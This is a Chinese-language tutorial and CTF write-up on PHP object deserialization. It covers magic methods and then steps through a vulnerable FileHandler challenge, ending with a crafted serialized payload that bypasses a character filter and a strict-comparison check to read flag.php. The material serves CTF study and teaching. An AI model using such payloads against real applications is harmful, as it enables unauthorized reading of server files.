PHP 反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__wakeup() //当在反序列化时,php就会调用__wakeup方法(如果存在的话)
php序列化
s:3:“aaa”; 为序列化结果(s代表类型,3代表字符串个数。如果是int型,就是i,并且不显示个数例如i:123; )
php反序列化
aaa 为反序列化结果
无类序列化小例子:
此处通过GET方式接收值存入变量str,再通过if进行判断,如果变量str的值反序列化的结果等于变量key中的值时,就输入falg
include "flag.php";
$key="key";
$str=$_GET['str'];
if(unserialize($str)==="$key"){
echo "$flag";
}
?>
访问当前页面并在url处通过GET方式提交参数,使提交的值进行反序列化后等于变量key中的值
有类时,当序列化或反序列化,进行的操作会触发对应的魔术方法(如果魔术方法存在的话)
class ABC{
public $test;
function __construct(){
$test = 1;
echo '调用了构造函数
';
}
function __destruct(){
echo '调用了析构函数
';
}
function __wakeup(){
echo '调用了苏醒函数
';
}
}
echo '创建对象a
';
$a = new ABC;
echo '序列化
';
$a_ser=serialize($a);
echo '反序列化
';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
?>
运行结果:
创建对象a
调用了构造函数
序列化
反序列化
调用了苏醒函数
对象快要死了!调用了析构函数
调用了析构函数
https://ctf.bugku.com/challenges#flag.php
$this是一个“伪对象”,代表当前所属类的当前对象。(就相当于对当前所属的类进行了一个new操作给$this $this=new FileHandler)
1、public:public表明该数据成员、成员函数是对所有用户开放的,所有用户都可以直接进行调用
2、private:private表示私有,私有的意思就是除了class自己之外,任何人都不可以直接使用。
3、protected:protected对于子女、朋友来说,就是public的,可以自由使用,没有任何限制,而对于其他的外部class,protected就变成private。
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {//如果op的值等于1就执行write()方法
$this->write();
} else if($this->op == "2") {//如果op的值等于2就执行read()方法
$res = $this->read();
$this->output($res);//把$res输出
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);//file_get_contents — 将整个文件读入一个字符串
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")//如果op全等于2的话,就把op赋值为1。
$this->op = "1";
$this->content = "";//把content赋值为空字符串
$this->process();//使用process方法
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {//通过is_valid函数对GET传过来的值进行检测
$obj = unserialize($str);//把GET传过来的值进行反序列化,因为unserialize,所以会自动触发__destruct()魔术方法
}
}
解析:(累死了)
1.当通过GET传入参数时,会用unserialize把传入的值进行反序列化,并执行__destruct()魔术方法。
2.如果op的值全等于(===)2就把op赋值为1,然后执行process()方法,判断op的值如果等于(==)1就进行write()方法中,如果op的值等于(==)2就进行read()的方法中。
3.因为此处要读取flag.php文件,所以自然是进入read()方法。又因为前面是通过===进行比较,后门是通过==进行比较,所以要让反序列化后op的结果即不(===)2又(==)2,所以op反序列化后的值可以是(int类型的2)或者(" 2" 中间有空格)‘
4.进入read()方法后,通过file_get_contents对filename的内容进行读入。因为我们的目标是对flag.php中的内容进行读取,所以必须让反序列化后filename的值等于flag.php(也就是用file_get_contents对flag.php进行读取)。
5.content的值是任意的,因为不管反序列化后content的值是什么,在__destruct时,都会把content赋值为空。
综上所述:
op反序列化后的值必须为int类型的2或者" 2"。
filename反序列化后的值必须为flag.php。
contents反序列化后的值任意。
所以要构建相对应的序列化代码得到序列化结果
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = 2;
$filename = "flag.php";
$content = "Hello World!";
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$a=new FileHandler();
$b=serialize($a);
echo $b."\n";
var_dump(is_valid($b));
?>
结果:
O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}
我们需要自己给其中添加值,并且因为三个属性是protected类型,所以会生成chr(0)*chr(0)
O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}
但是is_valid()会对生产的payload进行检验,不能出现ascii小于32的字符。所以%00
是通不过的。
这里利用的是php7.1+的版本对属性的类型不敏感,所以本地序列化时直接将属性类型改为public即可绕过。
结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
把序列化结果复制,通过GET方式给变量$str赋值后得到结果flag